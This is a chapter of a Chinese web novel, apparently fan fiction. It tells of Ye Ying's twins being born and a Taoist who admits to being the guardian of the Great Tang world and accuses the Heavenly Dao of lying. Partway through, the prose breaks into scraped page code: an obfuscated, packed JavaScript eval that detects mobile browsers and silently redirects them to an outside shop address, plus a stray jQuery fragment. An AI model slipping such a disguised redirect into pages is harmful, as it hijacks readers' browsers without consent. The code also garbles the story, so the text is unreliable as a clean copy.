51.叶英有惑

作品:《病美人如何在崩坏世界饲养庄花?

    一声响亮的啼哭,如同破晓的第一缕光骤然划破了相府上空那紧绷到极致的沉寂。


    “生了!生了!恭喜姑爷!贺喜姑爷!是龙凤胎!小少爷和小小姐都身体健康着呢!”


    稳婆兴高采烈的声音从内室传来,带着劫后余生的激动和由衷的喜悦。她抱着一个用大红襁褓包裹的小小婴孩,快步走了出来,脸上笑开了花。


    叶英一直僵立在产房外间的身影猛地一震。


    龙凤胎……平安……


    他几乎是在听到“平安”二字的瞬间,就再也顾不得什么礼数规矩,也顾不上看孩子,猛地掀开隔断内外的厚重门帘,冲了进去。


    产房内还弥漫着淡淡的血腥气和药味,但已被收拾得整洁了许多。


    林芊雅正被丫鬟们小心地安置在已经更换过的干净床褥上。


    她脸色苍白得近乎透明,嘴唇也失了血色,满头青丝被汗水浸透,凌乱地贴在脸颊和颈侧。她闭着眼,眉头因为残留的痛楚而微微蹙着,呼吸微弱而均匀,显然是体力耗尽沉沉睡了过去,连孩子响亮的啼哭都未能将她唤醒。


    叶英冲到床边,几乎是半跪下去颤抖着手小心翼翼地探向她的手腕。


    那脉搏虽然细弱,却平稳有序,一下一下,清晰地传递着生命的气息。


    他又俯下身,凑近她的鼻端,感受到那温热而轻柔的呼吸拂过自己的皮肤。


    活着。她还活着。


    平安。


    紧绷了不知多久的心弦,在这一刻终于彻底松了下来。一股巨大的庆幸与后怕混合着初为人父的喜悦,冲击得他眼眶发热。他紧紧握住她冰凉的手,将脸颊轻轻贴在她汗湿的手背上,感受着她微弱的脉搏和温度,久久没有动弹。


    直到丫鬟们轻手轻脚地为她擦拭完身体,换上干净的寝衣,又盖上薄被,他才缓缓直起身。


    他看着妻子疲惫沉睡的容颜,心中涌起万语千言,想要与她分享这失而复得的狂喜,想要告诉她孩子们平安降生,想要告诉她一切都过去了……


    可最终,他只是俯身在她眉心印下一个极轻极柔的吻,然后替她掖好被角。


    让她好好睡一觉吧。


    他舍不得吵醒她。


    外间,两个小小的襁褓并排放在铺了软垫的矮榻上。


    叶英走过去,脚步放得极轻。


    他先看向左边那个裹在蓝色襁褓里的孩子。


    那是长子。


    小家伙刚出生不久,小脸还皱巴巴的,带着新生儿的红润,可那五官轮廓,却已能看出几分与他极为相似的影子。


    他闭着眼,小小的眉头竟然微微蹙着,仿佛在思考什么严肃的问题,小拳头握得紧紧的,举在脸颊旁。最引人注目的是他眉心之间,一点殷红如血的朱砂痣,鲜艳欲滴,衬得那张稚嫩的小脸竟透出几分不似凡俗的灵秀之气,真像是画里走下来的小仙童。


    叶英伸出手指,极轻地碰了碰儿子紧握的小拳头。那小手动了动却并未松开。


    他目光柔和下来,又看向右边那个裹在粉色襁褓里的女儿。


    女儿的呼吸比起哥哥来,似乎要稍微弱一些,小脸也还有些地方带着新生儿的青紫。胎发已经长了出来,乌黑柔软。她也闭着眼,小拳头同样握得紧紧的。


    方才那声响亮的啼哭,正是她发出的。


    而最让叶英心头一软的,是她那双眼睛的形状。


    女儿的眉眼……像极了她的母亲。


    尤其是那双眼睛的形状,虽然此刻紧闭着,但那眼线的弧度,那微微上翘的睫毛……简直与芊雅如出一辙。可以想象,当她睁开眼时,那双眸子定然也如她的母亲一般,温柔似水。


    一股难以言喻的暖流和酸涩同时涌上叶英的心头。


    这是他和芊雅的孩子。


    是他们血脉的延续,是他们共同历经生死磨难后得到的最珍贵的礼物。


    就在他凝视着两个孩子心中百感交集之时,一个平和的声音毫无征兆地在他身侧响起:


    “福生无量天尊。”


    叶英猛地转身。


    只见那位身着纯阳道袍、须发皆白、手持拂尘的道人,不知何时,竟又悄无声息地出现在了房中。他就站在离摇篮几步远的地方,目光温和地落在两个孩子身上,仿佛他一直就在那里,只是无人察觉。


    他是怎么进来的?何时进来的?外面的丫鬟婆子呢?


    叶英心中瞬间闪过无数疑问,但此刻,这些都不重要了。


    他立刻上前一步,对着道人深深一揖,声音带着发自肺腑的感激与郑重:


    “多谢道长救命之恩。大恩大德,叶英没齿难忘。”


    道人微微一笑,拂尘轻摆,受了这一礼。他的目光在叶英脸上停留了一瞬,那眼神深邃,似乎洞悉了一切一般。


    “谢就不必了。”


    他缓缓开口,声音依旧平和,却仿佛蕴含着某种深意。


    “毕竟,也不过是贫道应尽之事罢了。”


    道人似乎并不打算给他太多思考的时间,他的目光重新落回摇篮里的两个孩子身上,尤其是那个眉心一点朱砂的长子眼中掠过一丝欣赏。


    “这两个孩子,倒生得极好。”


    他缓声道,语气里带着一种长辈般的欣慰。


    “哥哥先天剑心剑骨,八脉俱通,乃是不世出的武学奇才。根骨之佳,贫道生平仅见。”


    他的目光又转向女儿。


    “妹妹虽相较弱些,却也是个福缘深厚灵性内蕴的孩子。”


    “他们的造化,还在后头呢。”


    他顿了顿,目光转向叶英,嘴角那抹笑意更深了些,带着点意味深长:


    “你说对吗?叶少庄主?”


    叶英瞳孔骤然一缩。


    叶少庄主……


    藏剑山庄,少庄主。


    这个道人不仅知道他的来历,甚至可能……知道得更多。


    比起行事跳脱、来历同样成谜却总透着股不靠谱劲儿的云华水月,眼前这位道人的出现、手段、气度,都更像传说中那些真正超然物外、神通广大的世外高人,或者说……仙人。


    他凭空取药,丹药神效,一语道破天机,又能悄无声息地出现消失。


    这一切,都远远超出了叶英过往的认知。


    他抿紧了唇,压下心头的惊涛骇浪,再次抬眼看向道人,目光锐利而探究。


    “不知道长……道号是?”他沉声问道。


    道人捋了捋雪白的胡须,脸上露出一种近乎洒脱的淡然笑容。


    “道号就不必提了,不过虚名耳。”他摆了摆手,语气随意,“若叶少庄主愿意,便是叫我一声老头子,贫道也是不介意的。”


    显然,他并不打算透露自己的真实身份或来历。


    叶英心中念头急转。


    之前在那诡异天道的描述中,那个将他记忆封印、又在他流落异界后似乎不闻不问的“老头子”,正是他原本世界大唐的守护者。


    而眼前这位道人,神通广大,知晓他的身份,出手相助,又自称“老头子”……


    一个大胆的猜测在他心中成形。


    他看着道人那副高深莫测又带着点促狭笑意的面容,虽然不敢完全确定,但还是决定直接问出来。


    他深吸一口气,目光直视着道人,声音低沉而清晰:


    “道长……可是我那方大唐世界的守护者?”


    这话问得直接,甚至有些冒昧。


    但他这时已经管不了那么多了。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228395|197544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    道人脸上的笑容微微一顿,眼中闪过一丝几不可查的讶异,随即便化作了然。他捋着胡须的手也顿了顿,看向叶英的眼神里多了几分兴味。


    “哦?”他挑了挑眉,语气里带着点意外,“是那小破落户天道跟你说的?”


    他没有否认,反而直接点出了天道。


    叶英心中一凛,知道自己猜对了。


    “正是。”他坦然承认。


    道人哼笑一声,摇了摇头,那神态里带着点又好气又好笑的意味。


    “没错,”他捋着胡须,坦然承认,“贫道正是大唐世界的守护者。而你,也确是我大唐世界的子民。”


    得到确切的答案,叶英心中那根紧绷的弦并未放松,反而涌起更复杂的情绪。


    他沉默了片刻,再次开口时,声音里带上了一丝不易察觉的艰涩和……某种压抑已久的困惑与委屈。


    “既如此,叶英有一惑,需请道长解惑。”


    纯阳子看着他,似乎能看透他平静外表下翻涌的心绪,点了点头:“但说无妨。”


    叶英抬起眼,目光直视着纯阳子,一字一句地问道:


    “之前曾从天道那里听闻,道长是觉得我无关紧要,所以便没有寻找我,也不打算让我回去了。”


    他顿了顿,语气里带上了自己都未察觉的紧绷和一丝希冀:


    “如今道长出现在此,可是……我回去的时机已到?”


    这话问出,叶英的心也跟着提了起来。


    他当然渴望回去。


    那里有他的父亲,有他目前生死未卜的弟弟们,有他病弱的妹妹,有他身为少庄主必须承担的责任。


    可这里……也有他刚刚历经生死此生挚爱的妻子,有他血脉相连的一双儿女,有这数月来点点滴滴无法割舍的温情与牵绊。


    他不知道自己究竟在期待什么样的答案。


    但至少就现在,他不可能抛下自己难产身体虚弱的妻子和刚刚出生的两个孩子就这么一走了之。


    不是不想回去,只是现在还不能回去。


    然而,出乎他意料的是,纯阳子在听完他的话后非但没有给出任何肯定的答复,反而像是被踩了尾巴的猫一样,猛地瞪大了眼睛,连那雪白的胡须都似乎气得翘了翘。


    “什么?!”纯阳子的声音陡然拔高,带着毫不掩饰的惊愕和……恼火?


    “那小破落户是这么跟你说的?!”


    他气得在原地踱了两步,拂尘甩得呼呼作响,指着虚空仿佛在指着某个看不见的存在骂街:


    “好家伙!他抢我的人,扣着不还,居然还好意思在你面前造谣我?!颠倒黑白!倒打一耙!无耻之尤!”


    他越说越气,转过身来对着叶英,脸上的表情简直可以用痛心疾首来形容:


    “叶英小子,你根本不知道发生了什么!那天道也不是个好玩意儿!它为了它那破世界晋升,什么缺德事都干得出来!你可千万别信它的鬼话!”


    叶英被纯阳子这突如其来的激烈反应弄得愣住了。


    他设想过许多种回答,或许是肯定的,或许是否定的,或许是含糊其辞的……


    却万万没想到,会是这样的。


    这位在他想象中本该是威严深沉、高不可攀的“老头子”高人,此刻竟像个被冤枉了的老顽童一样,气得吹胡子瞪眼絮絮叨叨地数落着隔壁天道的罪行。


    这与他预想的场景,实在相差太远。


    纯阳子似乎也意识到自己有些失态,咳嗽了两声,重新捋了捋胡须,努力摆出一副高深莫测的样子,但眼底那点气呼呼的神色还没完全散去。


    他瞪着叶英,语气依旧带着余怒:


    “你且听好了,事情根本不是它说的那样!”